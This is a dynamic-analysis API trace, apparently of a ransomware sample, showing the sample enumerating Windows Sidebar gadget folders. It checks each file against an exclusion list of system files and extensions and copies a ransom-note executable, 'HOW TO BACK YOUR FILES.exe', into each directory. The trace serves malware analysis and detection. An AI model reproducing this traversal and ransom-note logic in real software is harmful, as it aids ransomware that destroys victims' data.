	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2=".ini") returned 1
	[0051.670] lstrlenW (lpString=".sys") returned 4
	[0051.670] lstrcmpiW (lpString1="drag.png", lpString2=".sys") returned 1
	[0051.670] lstrlenW (lpString="drag.png") returned 8
	[0051.670] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0051.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0051.670] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8a) returned 0x5994c0
	[0051.670] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fcf0 | out: ListHead=0x5b76b0, ListEntry=0x59fcf0) returned 0x59fcd0
	[0051.670] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36dd5c90, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x36dd5c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0051.670] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0051.670] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc467a55c, ftCreationTime.dwHighDateTime=0x1c9ea13, ftLastAccessTime.dwLowDateTime=0xc467a55c, ftLastAccessTime.dwHighDateTime=0x1c9ea13, ftLastWriteTime.dwLowDateTime=0xc467a55c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1d07, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="icon.png", cAlternateFileName="")) returned 1
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2=".") returned 1
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2="..") returned 1
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2="windows") returned -1
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2="bootmgr") returned 1
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2="temp") returned -1
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2="pagefile.sys") returned -1
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2="boot") returned 1
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2="ids.txt") returned -1
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2="ntuser.dat") returned -1
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2="perflogs") returned -1
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2="MSBuild") returned -1
	[0051.671] lstrlenW (lpString="icon.png") returned 8
	[0051.671] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US") returned 68
	[0051.671] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="icon.png" | out: lpString1="icon.png") returned="icon.png"
	[0051.671] lstrlenW (lpString="icon.png") returned 8
	[0051.671] lstrlenW (lpString="Apollon865") returned 10
	[0051.671] lstrlenW (lpString=".dll") returned 4
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2=".dll") returned 1
	[0051.671] lstrlenW (lpString=".lnk") returned 4
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2=".lnk") returned 1
	[0051.671] lstrlenW (lpString=".ini") returned 4
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2=".ini") returned 1
	[0051.671] lstrlenW (lpString=".sys") returned 4
	[0051.671] lstrcmpiW (lpString1="icon.png", lpString2=".sys") returned 1
	[0051.671] lstrlenW (lpString="icon.png") returned 8
	[0051.671] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="images" | out: lpString1="images") returned="images"
	[0051.671] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fd08
	[0051.671] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x8c) returned 0x599558
	[0051.671] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fd10 | out: ListHead=0x5b76b0, ListEntry=0x59fd10) returned 0x59fcf0
	[0051.671] FindNextFileW (in: hFindFile=0x5ca210, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbbb4a6d2, ftCreationTime.dwHighDateTime=0x1ca0404, ftLastAccessTime.dwLowDateTime=0xbbb4a6d2, ftLastAccessTime.dwHighDateTime=0x1ca0404, ftLastWriteTime.dwLowDateTime=0xc6d0297c, ftLastWriteTime.dwHighDateTime=0x1c9ea13, nFileSizeHigh=0x0, nFileSizeLow=0x1816, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="logo.png", cAlternateFileName="")) returned 1
	[0051.671] lstrcmpiW (lpString1="logo.png", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0051.671] lstrcmpiW (lpString1="logo.png", lpString2="Apollon865.txt.exe") returned 1
	[0051.671] lstrcmpiW (lpString1="logo.png", lpString2=".") returned 1
	[0051.671] lstrcmpiW (lpString1="logo.png", lpString2="..") returned 1
	[0051.671] lstrcmpiW (lpString1="logo.png", lpString2="windows") returned -1
	[0051.671] lstrcmpiW (lpString1="logo.png", lpString2="bootmgr") returned 1
	[0051.672] lstrcmpiW (lpString1="logo.png", lpString2="temp") returned -1
	[0051.672] lstrcmpiW (lpString1="logo.png", lpString2="pagefile.sys") returned -1
	[0051.672] lstrcmpiW (lpString1="logo.png", lpString2="boot") returned 1
	[0051.672] lstrcmpiW (lpString1="logo.png", lpString2="ids.txt") returned 1
	[0051.672] lstrcmpiW (lpString1="logo.png", lpString2="ntuser.dat") returned -1
	[0051.672] lstrcmpiW (lpString1="logo.png", lpString2="perflogs") returned -1
	[0051.672] lstrcpyW (in: lpString1=0x2d3e5ce, lpString2="logo.png" | out: lpString1="logo.png") returned="logo.png"
	[0051.672] lstrlenW (lpString="logo.png") returned 8
	[0051.672] lstrlenW (lpString="Apollon865") returned 10
	[0051.672] lstrlenW (lpString=".dll") returned 4
	[0051.672] lstrcmpiW (lpString1="logo.png", lpString2=".dll") returned 1
	[0051.672] lstrlenW (lpString=".lnk") returned 4
	[0051.672] lstrcmpiW (lpString1="logo.png", lpString2=".lnk") returned 1
	[0051.672] lstrlenW (lpString=".ini") returned 4
	[0051.672] lstrcmpiW (lpString1="logo.png", lpString2=".ini") returned 1
	[0051.672] lstrlenW (lpString=".sys") returned 4
	[0051.672] lstrcmpiW (lpString1="logo.png", lpString2=".sys") returned 1
	[0051.672] lstrlenW (lpString="logo.png") returned 8
	[0051.672] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images"
	[0051.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599558 | out: hHeap=0x580000) returned 1
	[0051.672] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd08 | out: hHeap=0x580000) returned 1
	[0051.672] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images") returned 69
	[0051.672] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images"
	[0051.672] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.672] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\images\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.678] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.708] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\images\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8012b5d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x36dfbdf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36dfbdf0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.712] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.712] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.712] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="16-on-black.gif" | out: lpString1="16-on-black.gif") returned="16-on-black.gif"
	[0051.712] lstrlenW (lpString="16-on-black.gif") returned 15
	[0051.712] lstrlenW (lpString="Apollon865") returned 10
	[0051.712] lstrcmpiW (lpString1="-black.gif", lpString2="Apollon865") returned 1
	[0051.712] lstrlenW (lpString=".dll") returned 4
	[0051.712] lstrcmpiW (lpString1="16-on-black.gif", lpString2=".dll") returned 1
	[0051.712] lstrlenW (lpString=".lnk") returned 4
	[0051.712] lstrcmpiW (lpString1="16-on-black.gif", lpString2=".lnk") returned 1
	[0051.712] lstrlenW (lpString=".ini") returned 4
	[0051.712] lstrcmpiW (lpString1="16-on-black.gif", lpString2=".ini") returned 1
	[0051.712] lstrlenW (lpString=".sys") returned 4
	[0051.712] lstrcmpiW (lpString1="16-on-black.gif", lpString2=".sys") returned 1
	[0051.712] lstrlenW (lpString="16-on-black.gif") returned 15
	[0051.712] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="buttonDown_Off.png" | out: lpString1="buttonDown_Off.png") returned="buttonDown_Off.png"
	[0051.712] lstrlenW (lpString="buttonDown_Off.png") returned 18
	[0051.713] lstrlenW (lpString="Apollon865") returned 10
	[0051.713] lstrcmpiW (lpString1="wn_Off.png", lpString2="Apollon865") returned 1
	[0051.713] lstrlenW (lpString=".dll") returned 4
	[0051.713] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2=".dll") returned 1
	[0051.713] lstrlenW (lpString=".lnk") returned 4
	[0051.713] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2=".lnk") returned 1
	[0051.713] lstrlenW (lpString=".ini") returned 4
	[0051.713] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2=".ini") returned 1
	[0051.713] lstrlenW (lpString=".sys") returned 4
	[0051.713] lstrcmpiW (lpString1="buttonDown_Off.png", lpString2=".sys") returned 1
	[0051.713] lstrlenW (lpString="buttonDown_Off.png") returned 18
	[0051.713] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="buttonDown_On.png" | out: lpString1="buttonDown_On.png") returned="buttonDown_On.png"
	[0051.713] lstrlenW (lpString="buttonDown_On.png") returned 17
	[0051.713] lstrlenW (lpString="Apollon865") returned 10
	[0051.713] lstrcmpiW (lpString1="own_On.png", lpString2="Apollon865") returned 1
	[0051.713] lstrlenW (lpString=".dll") returned 4
	[0051.713] lstrcmpiW (lpString1="buttonDown_On.png", lpString2=".dll") returned 1
	[0051.713] lstrlenW (lpString=".lnk") returned 4
	[0051.713] lstrcmpiW (lpString1="buttonDown_On.png", lpString2=".lnk") returned 1
	[0051.713] lstrlenW (lpString=".ini") returned 4
	[0051.713] lstrcmpiW (lpString1="buttonDown_On.png", lpString2=".ini") returned 1
	[0051.713] lstrlenW (lpString=".sys") returned 4
	[0051.713] lstrcmpiW (lpString1="buttonDown_On.png", lpString2=".sys") returned 1
	[0051.713] lstrlenW (lpString="buttonDown_On.png") returned 17
	[0051.714] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="buttonUp_Off.png" | out: lpString1="buttonUp_Off.png") returned="buttonUp_Off.png"
	[0051.714] lstrlenW (lpString="buttonUp_Off.png") returned 16
	[0051.714] lstrlenW (lpString="Apollon865") returned 10
	[0051.714] lstrcmpiW (lpString1="Up_Off.png", lpString2="Apollon865") returned 1
	[0051.714] lstrlenW (lpString=".dll") returned 4
	[0051.714] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2=".dll") returned 1
	[0051.714] lstrlenW (lpString=".lnk") returned 4
	[0051.714] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2=".lnk") returned 1
	[0051.714] lstrlenW (lpString=".ini") returned 4
	[0051.714] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2=".ini") returned 1
	[0051.714] lstrlenW (lpString=".sys") returned 4
	[0051.714] lstrcmpiW (lpString1="buttonUp_Off.png", lpString2=".sys") returned 1
	[0051.714] lstrlenW (lpString="buttonUp_Off.png") returned 16
	[0051.714] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="buttonUp_On.png" | out: lpString1="buttonUp_On.png") returned="buttonUp_On.png"
	[0051.714] lstrlenW (lpString="buttonUp_On.png") returned 15
	[0051.714] lstrlenW (lpString="Apollon865") returned 10
	[0051.714] lstrcmpiW (lpString1="nUp_On.png", lpString2="Apollon865") returned 1
	[0051.714] lstrlenW (lpString=".dll") returned 4
	[0051.714] lstrcmpiW (lpString1="buttonUp_On.png", lpString2=".dll") returned 1
	[0051.714] lstrlenW (lpString=".lnk") returned 4
	[0051.714] lstrcmpiW (lpString1="buttonUp_On.png", lpString2=".lnk") returned 1
	[0051.714] lstrlenW (lpString=".ini") returned 4
	[0051.714] lstrcmpiW (lpString1="buttonUp_On.png", lpString2=".ini") returned 1
	[0051.714] lstrlenW (lpString=".sys") returned 4
	[0051.714] lstrcmpiW (lpString1="buttonUp_On.png", lpString2=".sys") returned 1
	[0051.714] lstrlenW (lpString="buttonUp_On.png") returned 15
	[0051.716] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="flyoutBack.png" | out: lpString1="flyoutBack.png") returned="flyoutBack.png"
	[0051.716] lstrlenW (lpString="flyoutBack.png") returned 14
	[0051.716] lstrlenW (lpString="Apollon865") returned 10
	[0051.716] lstrcmpiW (lpString1="utBack.png", lpString2="Apollon865") returned 1
	[0051.716] lstrlenW (lpString=".dll") returned 4
	[0051.716] lstrcmpiW (lpString1="flyoutBack.png", lpString2=".dll") returned 1
	[0051.716] lstrlenW (lpString=".lnk") returned 4
	[0051.716] lstrcmpiW (lpString1="flyoutBack.png", lpString2=".lnk") returned 1
	[0051.716] lstrlenW (lpString=".ini") returned 4
	[0051.716] lstrcmpiW (lpString1="flyoutBack.png", lpString2=".ini") returned 1
	[0051.716] lstrlenW (lpString=".sys") returned 4
	[0051.717] lstrcmpiW (lpString1="flyoutBack.png", lpString2=".sys") returned 1
	[0051.717] lstrlenW (lpString="flyoutBack.png") returned 14
	[0051.717] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="item_hover_docked.png" | out: lpString1="item_hover_docked.png") returned="item_hover_docked.png"
	[0051.717] lstrlenW (lpString="item_hover_docked.png") returned 21
	[0051.717] lstrlenW (lpString="Apollon865") returned 10
	[0051.717] lstrcmpiW (lpString1="docked.png", lpString2="Apollon865") returned 1
	[0051.717] lstrlenW (lpString=".dll") returned 4
	[0051.717] lstrcmpiW (lpString1="item_hover_docked.png", lpString2=".dll") returned 1
	[0051.717] lstrlenW (lpString=".lnk") returned 4
	[0051.717] lstrcmpiW (lpString1="item_hover_docked.png", lpString2=".lnk") returned 1
	[0051.717] lstrlenW (lpString=".ini") returned 4
	[0051.717] lstrcmpiW (lpString1="item_hover_docked.png", lpString2=".ini") returned 1
	[0051.717] lstrlenW (lpString=".sys") returned 4
	[0051.717] lstrcmpiW (lpString1="item_hover_docked.png", lpString2=".sys") returned 1
	[0051.717] lstrlenW (lpString="item_hover_docked.png") returned 21
	[0051.717] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="item_hover_floating.png" | out: lpString1="item_hover_floating.png") returned="item_hover_floating.png"
	[0051.717] lstrlenW (lpString="item_hover_floating.png") returned 23
	[0051.717] lstrlenW (lpString="Apollon865") returned 10
	[0051.717] lstrcmpiW (lpString1="oating.png", lpString2="Apollon865") returned 1
	[0051.717] lstrlenW (lpString=".dll") returned 4
	[0051.717] lstrcmpiW (lpString1="item_hover_floating.png", lpString2=".dll") returned 1
	[0051.717] lstrlenW (lpString=".lnk") returned 4
	[0051.717] lstrcmpiW (lpString1="item_hover_floating.png", lpString2=".lnk") returned 1
	[0051.717] lstrlenW (lpString=".ini") returned 4
	[0051.717] lstrcmpiW (lpString1="item_hover_floating.png", lpString2=".ini") returned 1
	[0051.717] lstrlenW (lpString=".sys") returned 4
	[0051.717] lstrcmpiW (lpString1="item_hover_floating.png", lpString2=".sys") returned 1
	[0051.717] lstrlenW (lpString="item_hover_floating.png") returned 23
	[0051.717] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="item_hover_flyout.png" | out: lpString1="item_hover_flyout.png") returned="item_hover_flyout.png"
	[0051.718] lstrlenW (lpString="item_hover_flyout.png") returned 21
	[0051.718] lstrlenW (lpString="Apollon865") returned 10
	[0051.718] lstrcmpiW (lpString1="flyout.png", lpString2="Apollon865") returned 1
	[0051.718] lstrlenW (lpString=".dll") returned 4
	[0051.718] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2=".dll") returned 1
	[0051.718] lstrlenW (lpString=".lnk") returned 4
	[0051.718] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2=".lnk") returned 1
	[0051.718] lstrlenW (lpString=".ini") returned 4
	[0051.718] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2=".ini") returned 1
	[0051.718] lstrlenW (lpString=".sys") returned 4
	[0051.718] lstrcmpiW (lpString1="item_hover_flyout.png", lpString2=".sys") returned 1
	[0051.718] lstrlenW (lpString="item_hover_flyout.png") returned 21
	[0051.718] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="navBack.png" | out: lpString1="navBack.png") returned="navBack.png"
	[0051.718] lstrlenW (lpString="navBack.png") returned 11
	[0051.718] lstrlenW (lpString="Apollon865") returned 10
	[0051.718] lstrcmpiW (lpString1="avBack.png", lpString2="Apollon865") returned 1
	[0051.718] lstrlenW (lpString=".dll") returned 4
	[0051.718] lstrcmpiW (lpString1="navBack.png", lpString2=".dll") returned 1
	[0051.718] lstrlenW (lpString=".lnk") returned 4
	[0051.718] lstrcmpiW (lpString1="navBack.png", lpString2=".lnk") returned 1
	[0051.718] lstrlenW (lpString=".ini") returned 4
	[0051.718] lstrcmpiW (lpString1="navBack.png", lpString2=".ini") returned 1
	[0051.718] lstrlenW (lpString=".sys") returned 4
	[0051.718] lstrcmpiW (lpString1="navBack.png", lpString2=".sys") returned 1
	[0051.718] lstrlenW (lpString="navBack.png") returned 11
	[0051.718] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="rssBackBlue_docked.png" | out: lpString1="rssBackBlue_docked.png") returned="rssBackBlue_docked.png"
	[0051.718] lstrlenW (lpString="rssBackBlue_docked.png") returned 22
	[0051.718] lstrlenW (lpString="Apollon865") returned 10
	[0051.718] lstrcmpiW (lpString1="docked.png", lpString2="Apollon865") returned 1
	[0051.718] lstrlenW (lpString=".dll") returned 4
	[0051.718] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2=".dll") returned 1
	[0051.719] lstrlenW (lpString=".lnk") returned 4
	[0051.719] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2=".lnk") returned 1
	[0051.719] lstrlenW (lpString=".ini") returned 4
	[0051.719] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2=".ini") returned 1
	[0051.719] lstrlenW (lpString=".sys") returned 4
	[0051.719] lstrcmpiW (lpString1="rssBackBlue_docked.png", lpString2=".sys") returned 1
	[0051.719] lstrlenW (lpString="rssBackBlue_docked.png") returned 22
	[0051.719] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="rssBackBlue_Undocked.png" | out: lpString1="rssBackBlue_Undocked.png") returned="rssBackBlue_Undocked.png"
	[0051.719] lstrlenW (lpString="rssBackBlue_Undocked.png") returned 24
	[0051.719] lstrlenW (lpString="Apollon865") returned 10
	[0051.719] lstrcmpiW (lpString1="docked.png", lpString2="Apollon865") returned 1
	[0051.719] lstrlenW (lpString=".dll") returned 4
	[0051.719] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2=".dll") returned 1
	[0051.719] lstrlenW (lpString=".lnk") returned 4
	[0051.719] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2=".lnk") returned 1
	[0051.719] lstrlenW (lpString=".ini") returned 4
	[0051.719] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2=".ini") returned 1
	[0051.719] lstrlenW (lpString=".sys") returned 4
	[0051.719] lstrcmpiW (lpString1="rssBackBlue_Undocked.png", lpString2=".sys") returned 1
	[0051.719] lstrlenW (lpString="rssBackBlue_Undocked.png") returned 24
	[0051.719] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="rssLogo.gif" | out: lpString1="rssLogo.gif") returned="rssLogo.gif"
	[0051.719] lstrlenW (lpString="rssLogo.gif") returned 11
	[0051.719] lstrlenW (lpString="Apollon865") returned 10
	[0051.719] lstrcmpiW (lpString1="ssLogo.gif", lpString2="Apollon865") returned 1
	[0051.719] lstrlenW (lpString=".dll") returned 4
	[0051.719] lstrcmpiW (lpString1="rssLogo.gif", lpString2=".dll") returned 1
	[0051.719] lstrlenW (lpString=".lnk") returned 4
	[0051.719] lstrcmpiW (lpString1="rssLogo.gif", lpString2=".lnk") returned 1
	[0051.719] lstrlenW (lpString=".ini") returned 4
	[0051.719] lstrcmpiW (lpString1="rssLogo.gif", lpString2=".ini") returned 1
	[0051.719] lstrlenW (lpString=".sys") returned 4
	[0051.720] lstrcmpiW (lpString1="rssLogo.gif", lpString2=".sys") returned 1
	[0051.720] lstrlenW (lpString="rssLogo.gif") returned 11
	[0051.720] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="rss_headline_glow_docked.png" | out: lpString1="rss_headline_glow_docked.png") returned="rss_headline_glow_docked.png"
	[0051.720] lstrlenW (lpString="rss_headline_glow_docked.png") returned 28
	[0051.720] lstrlenW (lpString="Apollon865") returned 10
	[0051.720] lstrcmpiW (lpString1="docked.png", lpString2="Apollon865") returned 1
	[0051.720] lstrlenW (lpString=".dll") returned 4
	[0051.720] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2=".dll") returned 1
	[0051.720] lstrlenW (lpString=".lnk") returned 4
	[0051.720] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2=".lnk") returned 1
	[0051.720] lstrlenW (lpString=".ini") returned 4
	[0051.720] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2=".ini") returned 1
	[0051.720] lstrlenW (lpString=".sys") returned 4
	[0051.720] lstrcmpiW (lpString1="rss_headline_glow_docked.png", lpString2=".sys") returned 1
	[0051.720] lstrlenW (lpString="rss_headline_glow_docked.png") returned 28
	[0051.720] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="rss_headline_glow_floating.png" | out: lpString1="rss_headline_glow_floating.png") returned="rss_headline_glow_floating.png"
	[0051.720] lstrlenW (lpString="rss_headline_glow_floating.png") returned 30
	[0051.720] lstrlenW (lpString="Apollon865") returned 10
	[0051.720] lstrcmpiW (lpString1="oating.png", lpString2="Apollon865") returned 1
	[0051.720] lstrlenW (lpString=".dll") returned 4
	[0051.720] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2=".dll") returned 1
	[0051.720] lstrlenW (lpString=".lnk") returned 4
	[0051.720] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2=".lnk") returned 1
	[0051.720] lstrlenW (lpString=".ini") returned 4
	[0051.720] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2=".ini") returned 1
	[0051.720] lstrlenW (lpString=".sys") returned 4
	[0051.720] lstrcmpiW (lpString1="rss_headline_glow_floating.png", lpString2=".sys") returned 1
	[0051.720] lstrlenW (lpString="rss_headline_glow_floating.png") returned 30
	[0051.720] lstrcpyW (in: lpString1=0x2d3e5dc, lpString2="rss_headline_glow_flyout.png" | out: lpString1="rss_headline_glow_flyout.png") returned="rss_headline_glow_flyout.png"
	[0051.721] lstrlenW (lpString="rss_headline_glow_flyout.png") returned 28
	[0051.721] lstrlenW (lpString="Apollon865") returned 10
	[0051.721] lstrcmpiW (lpString1="flyout.png", lpString2="Apollon865") returned 1
	[0051.721] lstrlenW (lpString=".dll") returned 4
	[0051.721] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2=".dll") returned 1
	[0051.721] lstrlenW (lpString=".lnk") returned 4
	[0051.721] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2=".lnk") returned 1
	[0051.721] lstrlenW (lpString=".ini") returned 4
	[0051.721] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2=".ini") returned 1
	[0051.721] lstrlenW (lpString=".sys") returned 4
	[0051.721] lstrcmpiW (lpString1="rss_headline_glow_flyout.png", lpString2=".sys") returned 1
	[0051.721] lstrlenW (lpString="rss_headline_glow_flyout.png") returned 28
	[0051.721] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US"
	[0051.721] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0051.721] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fce8 | out: hHeap=0x580000) returned 1
	[0051.721] lstrlenW (lpString="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US") returned 68
	[0051.721] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US" | out: lpString1="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US") returned="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US"
	[0051.721] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.721] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\windows sidebar\\gadgets\\rssfeeds.gadget\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0051.728] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.728] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Windows Sidebar\\Gadgets\\RSSFeeds.Gadget\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea8d4f6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x36e6e210, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x36e6e210, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca210
	[0051.728] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.728] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.728] lstrcpyW (in: lpString1=0x2d3e5da, lpString2="css" | out: lpString1="css") returned="css"
	[0051.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fce8
	[0051.728] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x92) returned 0x5994c0
